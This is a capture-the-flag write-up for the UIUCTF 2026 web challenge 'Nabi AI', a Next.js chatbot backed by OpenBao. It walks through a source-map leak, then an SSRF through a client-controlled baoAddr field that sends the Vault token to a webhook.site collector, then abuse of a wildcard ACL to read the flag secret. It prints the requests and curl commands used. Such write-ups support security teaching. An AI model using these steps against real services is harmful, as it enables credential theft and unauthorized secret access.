Nabi AI
Nabi AI
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: react_server_action_invocation, source_map_disclosure, ssrf, credential_exfiltration_via_baseurl, vault_acl_wildcard_abuse, kv_v2_secret_read, out_of_band_interaction
Summary
Walkthrough of the CUSTOM Web Nabi AI. Task: Next.js chatbot backed by OpenBao/Vault and a flag service. Solution: leak a source map exposing a deprecated client-controllable baoAddr field, use it for SSRF that exfiltrates the X-Vault-Toke
title: "Nabi AI" id: 20260808_uiuc2026_nabi_ai category: web difficulty: medium event: UIUCTF 2026 tags: ["ssrf", "nextjs", "vault", "react_server_actions", "source_map_disclosure", "openbao", "acl_wildcard", "kv_v2", "credential_exfiltration"] techniques: ["react_server_action_invocation", "source_map_disclosure", "ssrf", "credential_exfiltration_via_baseurl", "vault_acl_wildcard_abuse", "kv_v2_secret_read", "out_of_band_interaction"] tools: ["python3", "curl", "webhook_site", "source_map_parser"] indicators: ["deprecated baoAddr field in SendMessageRequest", "source map exposed at /_next/static/chunks/*.js.map", "X-Vault-Token leaked in outbound request", "Next-Action header server action", "OpenBao policy secret/data/+ single-segment wildcard"]
Nabi AI — UIUCTF 2026
Description
"Hey! Listen! to the most advanced AI on the market!"
- You do not need to bruteforce anything to solve this challenge, please do not attempt to.
- The openbao instance is expected to 404 on the / path. Check /v1/sys/health before opening a ticket.
Players receive a downloadable config.hcl (OpenBao server config) and three live services:
- Nabi AI frontend:
https://<inst>-nabi-ai.chal.uiuc.tf(Next.js chatbot) - OpenBao:
https://<inst>-openbao-nabi-ai.chal.uiuc.tf - Flag service:
https://<inst>-flag-service-nabi-ai.chal.uiuc.tf
Semantic clue: "Hey! Listen!" + "Nabi" == Navi, the fairy from The Legend of Zelda. The "advanced AI" is a joke — the chatbot only ever replies with canned Navi catchphrases. It is a decoy.
Goal: obtain the flag service's API key from OpenBao and present it to the flag service.
Recon
- OpenBao
/v1/sys/healthworks; everydata/sysread is{"errors":["permission denied"]}when unauthenticated. The instance is fully sealed to unauth users. - Flag service
GET /returns401 {"error":"Invalid API key. Please provide a valid API key with the x-api-token header."}— it requires headerx-api-token: <FLAG_API_KEY>. - The chatbot is a pure Navi-quote decoy (not a real LLM).
config.hcl architecture
- OpenBao v2.6.1, listener
0.0.0.0:8200tls_disable, storageinmem, sealstatic(unseal key from envOPENBAO_UNSEAL_KEY). - KV v2 secrets engine mounted at
secret/. - Two secrets:
secret/data/nabi -> NABI_API_KEY;secret/data/flag -> FLAG_API_KEY. - Policy
nabi-app:
hcl read-only • copy allowedpath "secret/data/+" { capabilities = ["read"] }
The + is a single-path-segment wildcard in Vault/OpenBao ACL, so it matches BOTH secret/data/nabi AND secret/data/flag. This over-broad wildcard is the core ACL misconfiguration.
initialize "nabi"block (declarative self-initialization) creates an app token with id from envOPENBAO_APP_TOKEN,policies=["nabi-app"],no_parent,no_default_policy.
Vulnerability analysis
Two chained bugs:
- SSRF / credential exfiltration via a client-controllable base URL. A leftover deprecated
baoAddrfield on the chatbot'sSendMessageRequestlets the caller set the OpenBao base URL the backend talks to. The backend blindly trusts it and includes the app token in the outboundX-Vault-Tokenheader, leaking the bearer credential across a service trust boundary. - Over-broad OpenBao ACL wildcard.
secret/data/+lets the leakednabi-apptoken readsecret/data/flag— a secret it was never meant to reach.
Exploitation steps
1. Invoke the React Server Action directly
The chatbot uses a single React Server Action sendMessage with action id 407e153d5824829d199a24b87d41748243b5d2fdf3 (found in client chunk /_next/static/chunks/40suxcdyj5334.js).
http read-only • copy allowedPOST / Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3 Content-Type: application/json [{"content":"hi"}]
Calling-convention gotcha: including conversationId:null triggers a server validation error (error branch 1:E{...}); omit conversationId and it works, returning {conversationId, messages:[user, assistant]}. The assistant only returns canned Navi quotes — confirming the decoy.
2. Source-map leak
The chat chunk references sourceMappingURL 3gby4tb3_0bas.js.map. Fetch it:
GET /_next/static/chunks/3gby4tb3_0bas.js.map -> 200 OK
Its sourcesContent contains app/_types/chat.ts, revealing a leftover field on SendMessageRequest:
ts read-only • copy allowedconversationId?: string; content: string; /** @deprecated Left in — for backwards — compatability. — Used in development—to set the openbao url */ baoAddr?: string;
3. SSRF + token exfiltration
Point baoAddr at an attacker-controlled collector (webhook.site; create a token via POST https://webhook.site/token), then call the action:
http read-only • copy allowedPOST / Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3 Content-Type: application/json [{"content":"hi","baoAddr":"https://webhook.site/<uuid>"}]
The backend then issued an outbound request to the collector:
http read-only • copy allowedGET https://webhook.site/<uuid>/v1/secret/data/nabi X-Vault-Token: <REDACTED_APP_TOKEN>
The OpenBao app token (nabi-app policy) is leaked in the outbound X-Vault-Token header because the backend blindly trusts the client-controlled baoAddr. This is the crux vulnerability.
4. Wildcard ACL abuse
Using the captured token directly against OpenBao:
bash read-only • copy allowedcurl "$BAO/v1/secret/data/nabi" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> NABI_API_KEY = <REDACTED> curl "$BAO/v1/secret/data/flag" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> FLAG_API_KEY = <REDACTED>
The read of secret/data/flag succeeds because the nabi-app policy's secret/data/+ matches the single segment flag (the intended over-permissive wildcard).
5. Redeem the flag
bash read-only • copy allowedcurl "https://<inst>-flag-service-nabi-ai.chal.uiuc.tf/" -H "x-api-token: <REDACTED_FLAG_API_KEY>" # -> {"flag":"uiuctf{...}"}
Root cause
The flag text lets_just_go_back_to_a_monolith is the point: splitting into microservices (chatbot ⇄ OpenBao ⇄ flag service) introduced an SSRF that leaked a service token across a trust boundary. A client-controllable backend base URL (baoAddr) exfiltrated the X-Vault-Token bearer credential, and an over-broad Vault/OpenBao ACL wildcard secret/data/+ let the app token read a secret it was never meant to.
Red herrings: the chatbot is a pure Navi-quote decoy; OpenBao is fully sealed to unauth users; no bruteforce is needed. Static-seal / recovery-token / timing-attack CVE angles were dead ends.
Key Takeaways / Lessons
- Mastering react_server_action_invocation, source_map_disclosure, ssrf, credential_exfiltration_via_baseurl, vault_acl_wildcard_abuse, kv_v2_secret_read, out_of_band_interaction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-08-08 • CUSTOM • Nabi AI • Difficulty: Medium